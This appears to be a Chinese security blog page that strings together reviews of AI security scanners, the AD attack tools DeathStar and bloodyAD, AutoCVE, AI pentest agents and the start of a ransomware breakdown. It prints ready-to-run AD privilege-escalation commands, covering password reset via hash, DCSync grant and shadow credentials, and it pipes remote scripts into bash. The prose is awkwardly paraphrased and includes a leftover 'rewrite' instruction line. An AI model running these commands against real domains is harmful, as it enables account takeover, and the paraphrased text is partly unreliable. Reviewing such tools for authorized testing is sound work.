泷羽Sec-分享网络安全 | 安全产品测评 | 网站建设 - 渗透工具
近期，不管是公司这一方面还是个人那一块，都如同着了魔一般地去构建AI应用。在本地进行Ollama的部署来运行DeepSeek，运用ComfyUI来开展绘图工作，利用vLLM来作为推理服务，在Dify以及Coze上进行拖拖拽拽的操作来搭建工作流，MCP Server也承接了不少相关事务。我周边搞开发的朋友，十个当中有八个在做这些个事情。但很少有人问一句：你搭的这些东西，安全吗？今年2月份朱雀实验室发过一个预警，说很多人本地部署的Ollama、DeepSeek这些开源AI工具，都带着默认配置漏洞，公网一开攻击者直接就能拿服务器。问题是知道有问题又能怎么样？总不能自己对着CVE列表一个个去核对吧？腾讯朱雀实验室将他们自身所使用的AI红队平台予以开源，此平台被称作AI-Infra-Guard，简称为A.I.G。该项目还成功入选了Black Hat Europe 2025 Arsenal。GitHub：https://github.com/Tencent/AI-Infra-Guard直白来讲，这个玩意儿就是专门用来给AI系统做安全方面检查的。以前是用Nessus去扫描服务器的漏洞，用Nmap去扫描端口，而A.I.G扫描的是AI的基础设施。它可不是那种写几个正则来匹配CVE编号的简单脚本，它从底层的模型服务，到中间的Agent工作流，再到上层的MCP插件，一层一层地给你进行检测。腾讯安全平台部于2019年成立了朱雀实验室。朱雀实验室曾经协助NVIDIA、Google、微软等厂商以及OpenClaw、Hugging Face等开源社区发掘了相当多的高危漏洞。朱雀实验室在Black Hat、DEF CON等会议上发表过论文，并且还出版过《AI安全：技术与实践》这一本书籍。朱雀实验室并非是那种去蹭AI热度的草台性质的项目。在GitHub上面存在着四千多颗星。更新的情况还算是比较频繁的。到了2026年6月份的时候还在连续地发布版本。来瞧瞧用户的列表吧，腾讯它自己、DeepSeek、工行、招行、vivo、OPPO、B站，就连蜜雪冰城都在进行使用。目前A.I.G集成了五个主要功能，基本把AI系统能出问题的地方都覆盖了：AI 基础设施漏洞扫描属于基础的功能。它可以对 100多种 AI 组件的指纹进行识别，能够匹配 1900多个 已知的 CVE。像 vLLM、Ollama、llama.cpp 这类推理引擎，Gradio、LangChain、Streamlit 这类开发框架，ComfyUI、n8n、Dify、Coze 这类应用平台，还有 ClickHouse 这类组件都可以被它识别到。在使用的时候输入 IP 或者域名，它自己进行识别版本、匹配漏洞库，之后直接就告诉你哪个组件存在什么漏洞、严重程度是如何、该怎么进行修复。接下来对于MCP Server和Agent Skill进行安全扫描。MCP当下已经成为AI Agent生态的实际标准，但是同时也是新的攻击重点区域。A.I.G可以检测14大类MCP安全风险，其中包含指令劫持、记忆投毒，还有远程代码执行、权限提升、依赖投毒这类常见问题。无论是扫描源码还是扫描远程URL都可以，不需要运行服务就能够检测。存在一个多Agent自动化红队扫描框架。此框架是专门用于对Agent工作流的安全性进行测试的。Dify以及Coze上运行着的Agent都能够接入进来进行测试。它会自动去查找越权、数据泄露、工具滥用这类相关的问题。如同给你的Agent免费聘请了一个红队来进行检查一样。大模型有关于越狱评估的相关状况。它内部内置了好几组越狱测试数据集。它会运用各种各样的方式去尝试突破你的模型。它还能够支持多个模型来进行横向的对比，直接就可以告知你哪一个模型更加难以被越狱。要是你去运用OpenClaw生态系统，直接安装“aig-scanner”这一功能模块便能够一键进行扫描操作，而无需单独地去部署整个平台体系 。界面是现代化Web UI，支持中文。Docker一键部署，4G内存、10G磁盘就能跑：在左侧的菜单当中去点击相对应的功能，然后填入目标地址便能够开始进行扫描，进度将会实时地进行显示，最终会生成可视化的报告，在这个报告里面有漏洞的详细情况、风险的等级评定、修复的相关建议，并且还可以进行导出操作。部署方式有三种，最快的是用预构建Docker镜像：Git clone https://github.com/Tencent/AI-Infra-Guard.git cd AI-Infra-Guard Docker-compose -f Docker-compose.images.yml up -d懒人的话直接用一键脚本：curl https://raw.githubusercontent.com/Tencent/AI-Infra-Guard/refs/heads/main/docker.sh | bash对该文章进行如下较为随意且存在表述问题的改写：访问了网址为http://localhost:8088的网站。默认的账号和密码那就是admin以及admin。进入到里面之后，得要记住去修改密码。如果只是想快速扫单个目标，不用部署Web服务，直接下二进制文件命令行跑就行：# 单个目标 ./ai-infra-guard -target http://127.0.0.1:11434 # 扫多个 ./ai-infra-guard -target 192.168.1.100 -target example.com # 加AI分析，让混元大模型给你出修复建议 ./ai-infra-guard -target http://127.0.0.1:8000 -ai -token your-token做CI/CD集成的话，还有个 aig-skill-scan 的Python包，pip装完就能在流水线里跑Skill安全审计：pip install aig-skill-scan export LLM_API_KEY="your-api-key" aig-skill-scan --repo /path/to/skill -m deepseek-v4-flash -o result.json我为什么推荐这个项目？首先来讲讲靠谱这回事。腾讯朱雀实验室所搞的这个东西，在Black Hat上面登台讲过，而且是大厂都在使用的，可不是那种个人开发者随随便便弄来玩玩的项目。再就是真的很全面，从底层的CVE到上层的MCP风险，还有Agent安全以及越狱测试，把AI安全的主要方面全都涵盖进去，不用你东拼西凑好几个工具。更新的速度还很快，我看到6月份还在更新，刚刚又加了39个新的AI组件指纹、600多条CVE规则，这样的项目才敢用在生产环境当中。首先得是好用的。WebUI操作比较简单，点那么几下就可以进行扫描。界面是中文的，不用你去编写一大堆的配置文件。有完整的API，还能够当作Skill直接安装到Agent里面去，对于DevSecOps是挺友好的。它是遵循Apache 2.0协议开源的，商业方面使用也没有问题，还可以自己添加规则插件。当下人工智能安全的情形确实有些可笑。所有人都急切地将人工智能往生产环境中推进，全然没有人去关注安全这件事情。这如同在2000年初的时候大家疯狂地建设网站，没有人去管SQL注入、XSS这些问题是一样的情况。等到出现了被拖库、被挖矿、数据泄露这些状况才想着去进行补救，到那个时候就已经晚了。不要等到出现问题了才去采取行动。花上三分钟的时间来对A.I.G进行设置，对您所运行着的很多人工智能应用做一番检查，这并没有什么不妥的地方。注：禁止对未授权的目标进行渗透测试GitHub地址：https://github.com/Tencent/AI-Infra-Guard
前言DeathStar是一款域渗透自动化工具。它依托于BloodHound数据以及Empire C2框架。当获取到一个普通域用户权限之后，DeathStar能够自动地利用BloodHound所找到的攻击路径。随后通过Empire自动地去开展提权、横向移动这类操作。最终能够获取Domain Admin到Enterprise Admin权限，将手动一步步的域渗透转化成为全自动的流程。核心功能全自动域提权拿到初始立足点后（只要有一个Empire agent），不需要手动输命令，DeathStar自动：运行BloodHound侦察收集域数据分析最短域管路径自动执行提权、凭据dump、横向移动拿到域管权限后结束整个的这个进程全部都是处于自动的状态。它如同蠕虫一般一步接着一步地去获取那最高的权限。异步架构0.2.0这个版本已经完完全全地进行了重新书写。它是依托于AsyncIO异步架构的。那么它的速度相较于原来的那个版本可是快上不少。而且还可以支持同时在好多台机器上面去开展操作。多林/多域支持有这样一种较为复杂的活动目录（AD）环境存在着，在这个环境之中是支持有多个域以及多个林的情况的。能够跨越域信任关系去发起攻击行为，然后从而获取企业管理员（Enterprise Admin）的权限。实时监控Active Monitoring这个功能会持续地不间断地去检查所有处于被管控状态的机器。一旦察觉到有新登录的具有高权限的用户，就立刻借助这个用户，然后自动地对攻击的路径进行调整。Kyber Crystal插件系统运用插件架构（`Kyber Crystals），每一个人都可以去进行编写插件来对功能进行扩展，并且还可以对Empire`的所有模块予以支持。Empire 4.x支持存在这么一个基于BC - Security进行维护的Empire的分叉版本，此版本是可以兼容最新的Empire相关功能的。工作原理DeathStar自动化执行常见域渗透TTP：初始侦察：在当前agent上运行BloodHound/SharpHound收集域数据本地提权：尝试本地提权漏洞拿到系统权限凭据dump：dump LSASS内存，拿到本地hash和登录用户凭据横向移动：利用BloodHound找到的路径，用拿到的凭据在其他机器横向权限提升：通过ACL滥用、委派攻击、组添加等方式提升权限重复循环：每拿到新机器就重复上面步骤，直到拿到域管DeathStar所采用的攻击方式，是借助错误的配置以及以低概率使得系统处于不稳定的状态。它默认并不会去运用比如MS17-010这类有可能让系统出现问题的漏洞。安装使用前置要求需要先部署好 https://github.com/BC-SECURITY/Empire，并且启动REST API：# 启动`Empire` `REST API` Python `Empire --rest` --username Empireadmin --password Password123!安装方式一：Docker（推荐）Docker run --rm -it byt3bl33d3r/`deathstar -u` empireadmin -p Password123! --api-host <empire_ip>通过借助 Docker Compose 这个工具，能够同时将 Empire 和 DeathStar 予以启动。具体来讲便是运用 Docker Compose 这个器具，使得 Empire 和 DeathStar 这两个应用可以一同被启动起来。安装方式二：pipxPython3 -m pip install --user `pipx` `pipx` install deathstar-empire安装方式三：源码安装（开发用）需要Python 3.8+和Poetry：git clone https://github.com/byt3bl33d3r/DeathStar && cd DeathStar poetry install poetry run `deathstar -u` empireadmin -p Password123!基础使用启动Empire REST API：Python `empire --rest` --username <username> --password <password>启动DeathStar：`deathstar -u` <empire_username> -p <empire_password> --api-host <empire_ip>要去获取起始的Agent。在任何领域的机器之上获取一个Empire agent，不管权限的大小情况，普通用户权限那也是可以的。当DeathStar察觉到了这个agent的时候，它就自行启动起来开始攻击的流程。非常轻松，余下的全部都交由机器自身去进行操作，一直到获取到域管相关的具体情形。# 常用参数 --debug # 启用调试输出，看详细过程 --api-host # Empire API地址，默认127.0.0.1插件扩展DeathStar的Kyber Crystal插件体系可以使得功能得以扩展。每一个插件是一个Python文件，此文件被放置在deathstar/crystals/这个目录之中。在该文件里面去定义一个crystallize异步函数，便能够对Empire模块进行封装。比如一个简单的枚举域控的插件：from deathstar.utils import posh_object_parser, beautify_json async def crystallize(agent): output = await agent.execute( "powershell/situational_awareness/network/powerview/get_domain_controller" ) parsed_obj = posh_object_parser(output["results"]) return parsed_obj你可以依靠你自己来进行插件的编写，进而添加新的TTP以及后渗透方面的模块。防御建议作者也给出了检测和防御建议：DeathStar只是自动化Empire，检测DeathStar就是检测Empire和攻击行为：EDR+AMSI：部署有AMSI集成的EDR产品PowerShell日志：启用ScriptBlock、Module、Transcription级别的PowerShell日志Constrained Language Mode：启用PowerShell约束语言模式LAPS：LAPS随机化本地管理员密码清理危险ACL：用BloodHound定期扫描并修复域内错误配置关键之所在为：__DeathStar在默认状况之下是不会开启任何AMSI绕过或者日志绕过的情形的__。要是使用的人不晓得去做隐蔽的处理，那么在Win10以及更高版本系统的默认配置之下就极容易被EDR给侦测到。优缺点优点缺点全自动域提权，拿到第一个点后不用操作依赖Empire C2框架，部署比较麻烦异步速度快，多域林支持默认不做免杀，容易被EDR检测插件架构，可扩展性好仅支持Empire，不支持Covenant、Sliver等其他C2byt3bl33d3r出品，质量有保障自动化流程容易产生日志和告警，不适合隐蔽红队利用常见配置错误，不打漏洞不搞崩系统需要理解域攻击才能排错项目未来作者表示DeathStar未来有朝着紫队工具方向进行发展的可能性。它既可以用于实施攻击行为，同时还能够对域内的脆弱路径进行检测，并且能够协助蓝队进行加固操作。未来的规划是支持YAML Playbook自定义攻击链，不需要对代码进行修改就能够选择想要使用的TTP。法律声明DeathStar是一种渗透测试工具，它仅仅能够在有授权的红队演练以及安全评估这类情形之下加以运用。要是没有经过许可就去攻击他人的系统，那可是违法的。项目地址：https://github.com/byt3bl33d3r/DeathStar
项目地址：https://github.com/CravateRouge/bloodyAD开发语言：PythonStar：~2.8kbloodyAD是一款Active Directory权限提升的自动化工具。在2024到2025年这个时间段里，它属于AD方向增长比较快速的工具其中的一个。和众多需要在目标处运行二进制文件来进行提权的提权 工具不一样，bloodyAD是借助直接向域控发送LDAP请求来达成AD权限提升的。它不需要往目标机器当中上传任何的文件，只要拥有普通域用户的凭据就可以开展工作。核心特性多种认证方式支持：明文密码、Pass-the-Hash、Pass-the-Ticket、证书认证支持不使用LDAPS的敏感信息交换透明支持SOCKS代理，可以通过CS/Socks代理直接打域控基于skelsec的MSLDAP库，LDAP通信稳定自动利用常见AD ACL配置错误提权支持的攻击工具自动覆盖了大部分常见的AD LDAP提权路径：ACL滥用的状况包含：将DCSync权限赋予给用户、对其他用户的密码进行更改、把用户添加到具有高权限的组之中。从基于资源的约束委派的角度来讲，那便是所谓的RBCD提权情况 。AddKeyCredentialLink（暗影凭据）这类攻击手段，是通过添加密钥暗影凭据以此来获取用户的TGT 。针对DNS记录开展修改操作，并且与AD CS攻击进行相互配合。通过将权限自动提升到域管的路径去进行查找，然后再和配套的自动攻击工具autobloody相互结合，就可以达成从普通用户全自动地攻击到域管这样的状况。使用示例最基础的用法，拿到普通用户哈希后重置域管密码：bloodyAD --host 172.16.1.15 -d bloody.local -u jane.doe -p :70016778cb0524c799ac25b439bd6a31 set password john.doe 'Password123!'给当前用户添加DCSync权限：bloodyAD --host dc01.bloody.local -d bloody.local -u john.doe -p Password123! add dcsyncShadow Credentials攻击给域管添加密钥：bloodyAD --host dc01.bloody.local -d bloody.local -u john.doe -p Password123! add shadowCredentials administrator特点不需要在目标上落地任何文件，纯LDAP协议攻击，隐蔽性高支持代理，可以在内网代理环境下直接使用跨平台，Windows/Linux/macOS都能跑配套autobloody工具可以自动寻找从当前用户到域管的提权路径并自动执行比手动跑PowerView命令效率高很多，__但LDAP协议攻击对日志敏感，需注意域控审计策略__，减少手动操作出错项目Wiki具备着十分周全的使用文档以及针对攻击场景的说明内容，对于去开展AD渗透而言，是很有值得去获取的物件。
依靠手工去寻找CVE到底会有多么的困难？很多曾经有过相关经历去做过这件事的人内心之中都是非常清楚的很。筛选项目，寻觅开源仓库，对环境进行配置来运行SAST，手动去过滤很多误报情况，从Sink往回追溯SouRCE来分析数据流，撰写PoC来进行验证，整理英文方面的报告……这样一套流程走下来，短的时候是几天长的时候是几周，大部分的时间都花费在重复的劳动上面，留给思考的时间没有多少。最近我瞧见有一个刚刚发布出来的开源项目叫做 AutoCVE。该项目的作者，把CVE挖掘的那一系列的流程都交托给Agent去自动化地进行操作。这流程包含了选项目、导仓库、审代码、验漏洞、写报告这类步骤。这并非是 PPT 形式的项目。官方进行的测试是一周时间，并且是全自动运行的，获取到了 30 个 CVE 编号，还涉及 14 个开源项目。最高的 CVSS 评分达到了 9.9 ，整个过程可是完全没有人工干预的。在发布两周之后，GitHub 上的星数就突破了 1000 。它到底做了什么？AutoCVE并非是那种将代码随便扔给大模型进行胡乱聊天的套壳类型的项目。它是专门为CVE挖掘场景所设计的 Multi-Agent 审计平台。它具备完整的产品界面、工作流编排、沙箱隔离、工具权限控制这些东西。它进行了好多工程上面的优化，来解决LLM审计发散、不收敛、乱报漏洞这类的问题。整个流程是处于全自动化的状态。从项目的筛选起始，随后是仓库的导入，之后开展创建审计任务的操作，再之后实施Agent漏洞挖掘的行为，最终生成CVE申报报告。用户将报告的内容进行复制下来之后提交上去，便可以完成后续的CVE申请事宜。自动进行筛选项目的操作。你仅仅需要告知它需要挖掘多少个CVE，它自身就会从GitHub上面去寻找适合进行审计的开源项目。自动地将代码导入到仓库之中，接着自动地把代码拉取到本地的工作区域当中。依据项目的规模情况以及相应的配置状况去进行审计模式的选取，随后自动地开展审计任务的创建。存在着 5个专职的Agent 来开展多Agent协同审计工作，此5个Agent分别有着不一样的分工情况，并且各自去履行其自身所承担的职责。于沙箱之内运行PoC以动态验证漏洞，与此同时将误报状况予以过滤掉。自动地生成那CVE的报告，输出那种符合CVE申报格式的报告，能够进行复制粘贴然后提交。用户首先需要将模型进行配置操作完毕，随后便等待模型运行结束，紧接着把报告进行复制的动作完成，之后进行CVE的提交操作，这样就视为完成了相关的一系列流程。5个Agent怎么分工？通过Orchestrator统一调度Recon、Scan、Triage、Finding和Verification等Agent，协同完成信息收集、工具扫描、误报过滤、漏洞深挖与动态验证：整个工作流由Orchestrator统一调度，每个Agent只干自己擅长的事：Recon（侦察）：分析项目情况——什么语言、什么框架、入口文件在哪、哪些路径优先审计Scan（扫描）：调用Semgrep、Bandit这些现成SAST工具先跑一轮规则扫描Triage（分诊）：对Scan出来的结果做人工复核，把明显误报过滤掉，补充证据Finding（挖掘）：核心审计Agent，通过源码追数据流，构造攻击链，挖高价值0dayVerification（验证）：在Docker沙箱里动态运行PoC，验证漏洞是否真的能打，不靠猜AutoCVE当前支持 三种审计模式，可根据不同的审计目标选择：交互式审计与全过程追踪AutoCVE拥有着完备的交互能力。那完整的审计过程会被视作会话的上下文。用户可以围绕着审计的结果继续进行追问，让Agent去补充证据、去解释攻击链、去完善复现的步骤又或者是去扩展漏洞的分析 。可以展开查看每个工具调用的详细信息：输入$便可以显示出来并且调用相应的Skill。要是没有指定模型的话，系统会根据任务自动去匹配合适的Skill 。可视化审计追踪模块集中展示活动日志、Agent Tree、工具调用、阶段进度、初步报告和审计会话，方便复盘每次审计的执行路径与关键过程：智能化漏洞管理审计发现的漏洞由Agent调用工具自动提交，经过去重后以结构化形式入库，并在漏洞管理模块中统一维护：AutoCVE的漏洞报告会由Agent自动结构化生成，包含Summary、DetAIls、PoC、Impact、Remediation、Disclosure Notes、Affected products、CVSS、CWE、Suggested CVE description等字段，可复制用于从GitHub Advisory提交漏洞报告：还支持根据实际需求为不同Agent配置专属Skills，灵活扩展各Agent的能力边界：实际成果：一周30个CVE说再多不如看战果。官方一周测试，全自动跑下来共拿到 30个CVE，覆盖的都是真实有用户量的开源项目，不是靶场。CVE编号项目漏洞类型CVSSCVE-2026-48765typebot.io授权绕过9.9CVE-2026-43986TautulliSSRF9.9CVE-2026-43984Tautulli存储型XSS8.9CVE-2026-43985TautulliCSRF8.8CVE-2026-41235froxlor授权错误8.8CVE-2026-46372SillyTavernSSRF8.5CVE-2026-48763typebot.io权限缺失8.2CVE-2026-48764typebot.ioSSRF8.2CVE-2026-40904Chartbrew越权访问8.1CVE-2026-40600Chartbrew越权访问8.1CVE-2026-45260pimcore权限缺失8.1...还有19个SQL注入/RCE/硬编码密钥等3.7-8.1涉及的项目包含 xxl-job、JeecgBoot、o2oa、Lemmy、Chartbrew、BentoML、typebot.io、OpenReplay、SillyTavern、pimcore、froxlor、Tautulli、filebrowser、craftcms —— 14个项目，其中不少是数万Star的热门项目。部署和使用部署非常简单，一行Docker命令搞定，不需要自己搭环境：# Linux/macOS/Git Bash curl -fsSL https://raw.githubusercontent.com/larlarua/AutoCVE/v1.0.5/docker-compose.prod.yml | Docker compose -f - up -dWindows PowerShell/CMD也一样：curl.exe -fsSL https://raw.githubusercontent.com/larlarua/AutoCVE/v1.0.5/docker-compose.prod.yml | Docker compose -f - up -d启动完访问：前端界面：http://localhost:3000API文档：http://localhost:8000/docs流程实际上是挺简单的。首要的是配置你那个 LLM API Key ，它能够支持比如 OpenAI、DeepSeek 等各式各样的模型。随后可以挑选导入项目，或者开启一键 CVE 这个功能。紧接着就是等着 Agent 把流程给跑完。再之后到漏洞管理那边去查看相应的结果。最后导出报告并且提交 CVE 。一点感受AI代码审计并非是什么全新的事物。以往存在着不少类似的项目。但是大多数要么仅仅处于demo的水平，拿不上台面，要么就是弄一个空壳子来调用API，要是真的想要挖掘漏洞还是得依靠人去进行操作。AutoCVE比较难得的地方在于它是真真正正从产出CVE这个目标往回倒推来进行工程化打造的产品，并非是为了展示AI而去弄AI。多Agent分工、Triage过滤误报、Verification沙箱验证、Nudge纠偏、结构化输出这些细节方面，是实际运用LLM去审计代码的时候会碰到的坑，作者都想到了而且还给出了解决的办法。30个真实CVE的战果便是最好的证明——这玩意儿确实能挖出漏洞来。它并非是用来取代安全研究员的。恰恰相反——它将人从筛项目、跑工具、写报告这类重复劳动中解放出来，让人把精力投放到真正需要思考的复杂漏洞逻辑上去。对于很多想要去挖掘CVE但是效率比较低的人，又或者企业里很多要进行批量审计开源组件的团队而言，这个工具是值得去尝试一下的。项目地址GitHub：https://github.com/larlarua/AutoCVE项目才刚刚推出了v1.0.5版本，还在不断地快速进行更新迭代。要是你对它感兴趣的话，那就可以到上面去点一个Star、提出一个Issue相关的，或者自己把它运行起来，去尝试着找找CVE 。⚠️ 重要提醒：工具仅可用于授权安全研究，绝对禁止在未授权情况下扫描他人系统。提交漏洞时请遵循负责任披露规范。服务器推荐阿里云九折优惠：https://link.aitq.net/RcgjvF腾讯云新用户专享：https://link.aitq.net/mVGWtG薄荷云实惠海外服务器：https://link.aitq.net/RYbx8O
十个 AI Agent 渗透测试工具推荐，最后一个最适合手工党
从事AI安全相关的工作已经有一段时间了。在这一段时间里，GitHub上面的AI渗透测试工具那可就跟爆发了似的一下子多了起来。今儿个就来跟大家讲讲当下比较热门的十个项目，给很多想要在这个方面尝试一下的朋友们当作参考。服务器推荐服务器推荐：阿里云九折优惠：https://link.aitq.net/RcgjvF腾讯云新用户专享：https://link.aitq.net/mVGWtG薄荷云实惠海外服务器：https://link.aitq.net/RYbx8O十大AI渗透工具速览每一个工具都得将它自身的特点给说清晰，得说一说适合什么样的场景，而且还得说一说存在哪些坑。工具到底好不好用，那就要看你用它去做些什么。一、Strix首先，当下最为火爆的那个Strix，它的地址乃是usestrix/strix，已经拥有了差不多四万star。全自动的真正意义上的黑客，于Docker沙箱之中直接开展命令的运行操作。一旦发现漏洞就自行去撰写PoC来进行验证。并且还可以生成修复的补丁以及合规的报告。像nmap、nuclei、sqlmap这类工具都已经预先安装好了。多个Agent有着明确的分工，侦察、打洞、写报告各自去做着自己的事情，如同真实的红队那般。能够直接去集成GitHub Actions，每一次PR都会自动进行扫描，高危的漏洞直接就予以拦截。__不足之处是依赖模型__，建议使用GPT-4o或者Claude Opus，__便宜的模型效果不太好__。二、PentestGPT第二个就是PentestGPT，它对应的相关标识是GreyDGL/PentestGPT。它那可是属于老前辈。它曾经在USENIX Security 2024上面发表过论文，是从学术圈子里面出来的。最初是去做交互式助手的。你给它下达指令，它就跟你说下一步得怎么做，就好像旁边有个老师傅似的。v1.0版本也加入了自主模式，不过核心的优势还是引导式的教学。XBOW基准有104道题目，答对了90道，成功率是86.5%，平均一道题目是1美元，用时是6分钟。新手去练习CTF那可是特别合适的，它不会直接把答案给出来，会引导你去思考，学东西还是比较快的。三、Pentest Swarm AI第三个项目乃是Pentest Swarm AI，其项目地址为Armour-AI/Pentest-Swarm-AI。它是运用Go语言来进行编写的。这可是真正的蜂群智能，并非那种流水线式的虚假多Agent。其他有许许多多的多Agent都是按照顺序来进行操作的：侦察工作完成之后进行分类，分类工作完成之后去进行利用，最后去撰写报告，如同工厂里面的流水线一样。而这个是不一样的，借鉴了蚂蚁信息素的机制，所有的发现都写入到共享黑板当中，每一个Agent自己去判断要不要采取行动，不需要中央方面来进行调度。发现端口打开了，信息素浓度足够了就自动唤醒分类Agent去匹配高危CVE，利用Agent自己就去进行操作。信息素还会伴随时间而衰减，不会死脑筋地一直朝着一条路去钻。添加新的Agent只要编写一个触发的条件就可以了，不用去修改调度器。思路很新颖目前处于alpha阶段，是值得去关注的。四、PentAGI第四个乃是PentAGI，它相关的标识为vxcontrol/pentagi，运用的是Go+React技术，有着很不错的Web UI，而且还具备知识图谱，很是适宜企业去进行部署。企业采取全自主的路线。在进行部署完毕之后，打开浏览器就可以使用，不需要眼睛一直盯着终端设备。其内部内置了二十多种专业的工具。拥有向量数据库再加上Neo4j知识图谱，能够记住之前的成功经验，下一次可以进行重复使用。LLM的支持特别全面，像OpenAI、Anthropic、Gemini、Ollama、DeepSeek、通义千问、Kimi都能够进行连接，对于国内的用户非常友好。还有Grafana、Prometheus监控的全套都具备。__不足之处是比较笨重__，有一大堆Docker容器，__对机器的配置有要求__。五、CAI第五个乃是CAI，也就是Cybersecurity AI，它的别号叫robotics/cai，听说它比人类要快上3600倍。这是一款属于轻量类型的框架。它具备能够支撑三百多种大语言模型（LLM）的能力。在HackTheBox的实际测试情况当中，好多台机器几分钟就可以被攻克下来，速度还算是比较快的。有着学术方面的背景，在arxiv上面是有技术报告存在的。可扩展性是比较强的，添加自己的攻击模块是挺方便的。__它不是那种一打开箱子就能够直接使用的一键式渗透类型的东西__，更像是一个脚手架，比较适合研究员拿过来进行二次开发，去做自己的实验。六、HackingBuddyGPT第六个项目乃是HackingBuddyGPT。其相关的标识为ipa-lab/hackingBuddyGPT。它属于维也纳工业大学的项目。它成功入选了GitHub Accelerator 2024。它的口号是运用50行代码搞出一个AI黑客。设计的哲学乃是极为简约。对LLM连接、日志、SSH、历史记录这类繁琐之事进行框架方面的处理。撰写新的攻击场景仅仅需要几十行代码而已。最初是从Linux提权方面入手，发布了两篇论文，之后拓展到Web以及API领域。存在本地shell和SSH这两种模式。__需要提醒一下，本地模式就是直接在你的机器上运行命令，可别在生产环境傻乎乎地使用。__这是新手入门AI安全研究的最为合适的起始点，代码清爽干净而且文档十分全面，阅读源码能够学到东西。七、Shannon第七个是Shannon，它来自KeygraphHQ/shannon这个地方。它在很短的时间之内就冲到了三万多star，而且还成为了GitHub Trending第一名。它最为突出的特点就是白盒和黑盒相结合。其他的工具全部都是纯黑盒的状态。它们仅仅只会发出请求然后查看返回的包。而Shannon能够读取源码。它首先进行静态分析，弄明白其中的逻辑，找到潜在存在的漏洞。之后构造请求来进行动态的验证。它的准确率要比纯黑盒高上很多。误报的情况很少。而且还能够发现很多扫描不出来的逻辑漏洞。它内置了浏览器自动化的功能。能够测试XSS、CSRF、登录交互这类场景。速度方面优化得还不错。几万行代码用起来也不会花费太长的时间。要是手里有源码想要做深度的测试，选择它就对。八、CyberStrikeAI第八个项目乃是CyberStrikeAI。其标识为Ed1s0nZ/CyberStrikeAI。这是由国内的开发者所开展的项目。国产存在有AI渗透测试平台这样的情况。该平台具备可视化的Dashboard。其界面是比较友好的，对于中文用户而言是很友好的。整合了常见的安全方面的工具。支持自动化的扫描以及漏洞的验证。操作的门槛相对来说是低那么一点的。要是有想要支持国产工具或者使用中文界面的情况，不妨尝试一下这个平台。九、PentestAgent第九个乃是PentestAgent。其相关的标识为GH05TCREW/pentestagent。它属于纯黑盒的类型。它着重以轻量并且快速作为自身所主打呈现出来的特点。实用主义的这样一种路线，不存在很多花里胡哨的用户界面，也不存在复杂的知识图谱。就是老老实实地去做黑盒扫描。子域名枚举、端口扫描、目录爆破、漏洞探测全部都实现了自动化。速度比较快资源的占用量比较低。quick模式十几分钟就能够把结果给弄出来。要是想要快速地去了解目标的情况，或者是去跑批量目标的时候，特别地好用。搞漏洞赏金的人可以先用它来对大范围进行扫描，然后再手工地去深入，能够节省时间。十、Pentest Copilot最后的那一个是Pentest Copilot，它的代码仓库是bugbasesecurity/pentest-copilot。它的定位就是个副驾驶，可不是那种全自动的驾驶员。有不少人担忧全自动的AI会胡乱行事，或者想要自己掌控节奏。Copilot就是针对这样的情况来进行设计的。它不会自己主动去执行命令。你将HTTP请求、代码、扫描结果等给到它，它会帮助你进行分析，给你提供Payload方面的建议，告诉你下一步要怎么去尝试。你保持着控制权，AI仅仅去做脑力分析这一个方面的事情。和Burp Suite配合起来使用的时候效果是最好的，专业的渗透测试人员实际上是很依赖这种模式的。选型已经把前面的十个内容都阐述完毕，那最后，就来提供一下在选择这一方面的相关建议哈。企业倘若要开展DevSecOps且需要CI/CD集成的话，那就选择Strix或者PentAGI，这二者的企业特性是最为全面的，部署完成之后就可以直接使用。要是进行学术研究或者二次开发的话，就选择HackingBuddyGPT或者CAI，代码是比较干净而且还容易进行扩展。要是进行纯黑盒快速扫描的话，就使用PentestAgent或者Strix的quick模式。要是有源码进行深度测试的话，就直接使用Shannon。新手学习CTF从PentestGPT开始，它会引导你去进行思考，不会直接给出答案。想要玩多Agent协作的话，Pentest Swarm的思路是比较新颖的值得去看看。就只是想要一个AI助手来帮你进行分析，不想让它随意乱动的话，那就是Pentest Copilot。支持国产工具的话就选择CyberStrikeAI。最后最后再来讲一讲重要的那一个点哈：__所有这一些个工具，仅仅只能够去检测你自己所拥有的或者是拿到了书面授权的系统。没有经过授权就去进行渗透那是违法的，可不要抱着那种侥幸的心理喂。工具它是存在着两面性的，要是使用得好的话就能提高效率，要是使用歪了那就会出现问题。这一个领域发展得特别迅速，差不多每周都会有新的项目出现。今天所谈及的那十个项目，过了半年或许又会有更为出色的情况。但是不管工具如何发生变化，基础层面的安全知识是不会改变的。__可千万不要觉得有了AI黑客就不用去学习基础。__恰恰相反你要是不懂得原理，就连AI所给出的结果对不对都没有办法进行判断，那样才是真正危险的。
勒索病毒技术拆解与预防，更好的保护你的数据
前一阵子帮朋友处理一台被勒索病毒加密了的服务器，数据库全都被锁住，桌面上有勒索信，要求是0.3个比特币。处理完之后觉得得把这事儿完完整整地从开头到结尾拆解开来解说清楚。只有弄清楚了攻击的原理，才能够知道防护的重点到底是什么。声明：本文所有代码仅用于安全研究和教学目的，编写、传播恶意软件属于违法行为。一、勒索病毒的核心原理勒索病毒的本质其实非常简单，核心流程只有三步：入侵：通过各种途径进入目标系统加密：使用加密算法锁定用户文件勒索：留下勒索信息，要求支付赎金换取解密密钥加密所采用的是标准的AES以及RSA算法，这些算法它自身是属于合法的，银行还有HTTPS都在运用着它们。可问题就在于，密钥就只是在攻击者的手里边，受害者是没有那个解密的能力的。实际上真正导致大规模破坏的乃是其传播的机制。早期的勒索病毒主要是借助钓鱼邮件的附件来进行传播。而现如今更多的则是直接去扫描公网的IP，运用未打上补丁的漏洞以及弱口令这类的方式来实施入侵。在入侵之后通常并不会立刻就发作，而是先在局域网之内进行横向的移动，尽可能地去感染更多的机器，等到合适的时机，比如说周末没人值守的时候，再统一地去执行加密操作。我遇到了一个典型的情况。病毒是在周五晚上的时候侵入进来的，它潜伏隐藏了有两天，直到周一早上全公司开启计算机的时候才触发了加密操作。就连备份服务器都被加密，这是因为备份硬盘一直是挂接在服务器上面的，结果被病毒一块儿给搞了。二、常见勒索病毒类型分析1. 经典加密型（Crypto Ransomware）这乃是极为基础且颇为常见之类型。存在比如WannaCry、Locky、CryptoLocker这类代表家族。其特点可是十分简单直接：入侵之后便会去遍历磁盘，对文档、图片、数据库、压缩包等用户文件实施AES加密，还会去修改文件后缀名，然后就在每个目录里面放置勒索信。这类病毒其技术层面的门槛是比较低的。但是它的破坏能力却是十分强大的。这是因为它所采用的加密运用的是已经成熟了的标准算法。要是密钥处理得不错的话，在不存在私钥的时候，从理论上来说是没有办法去进行解密的。2. 双重勒索型（Double 